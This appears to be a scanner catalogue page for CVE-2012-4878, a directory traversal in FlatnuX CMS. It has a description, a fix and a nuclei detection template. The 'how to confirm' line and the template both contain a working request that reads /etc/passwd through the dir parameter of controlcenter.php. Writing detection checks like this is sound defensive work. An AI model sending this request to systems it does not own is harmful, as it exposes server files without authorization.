FlatnuX CMS - Directory Traversal

mediumseverity

5CVSS score

8.8%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

A path traversal vulnerability in controlcenter.php in FlatnuX CMS 2011 08.09.2 allows remote administrators to read arbitrary files via a full pathname in the dir parameter in a contents/Files action.

Impact

An attacker can read or modify sensitive files on the server, potentially leading to unauthorized accessand data leakage.

Fix

Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in FlatnuX CMS.

How to confirm it

Send: GET {{BaseURL}}/controlcenter.php?opt=contents/Files&dir=%2Fetc&ffile=passwd&opmod=open
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2012-4878 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2012-4878

info:
  name: FlatnuX CMS - Directory Traversal
  author: daffainfo
  severity: medium
  description: A path traversal vulnerability in controlcenter.php in FlatnuX CMS 2011 08.09.2 allows remote administrators to read arbitrary files via a full pathname in the dir parameter in a contents/Files action.
  impact: |
    An attacker can read or modify sensitive files on the server, potentially leading to unauthorized accessand data leakage.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in FlatnuX CMS.
  reference:
    - https://www.exploit-db.com/exploits/37034
    - https://nvd.nist.gov/vuln/detail/CVE-2012-4878
    - http://www.vulnerability-lab.com/get_content.php?id=487
    - http://packetstormsecurity.org/files/111473/Flatnux-CMS-2011-08.09.2-CSRF-XSS-Directory-Traversal.html
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/74568
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2012-4878
    cwe-id: CWE-22
    epss-score: 0.08761
    epss-percentile: 0.95205
    cpe: cpe:2.3:a:flatnux:flatnux:2011-08-09-2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: flatnux
    product: flatnux
  tags: cve,cve2012,lfi,traversal,edb,packetstorm,flatnux,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/controlcenter.php?opt=contents/Files&dir=%2Fetc&ffile=passwd&opmod=open"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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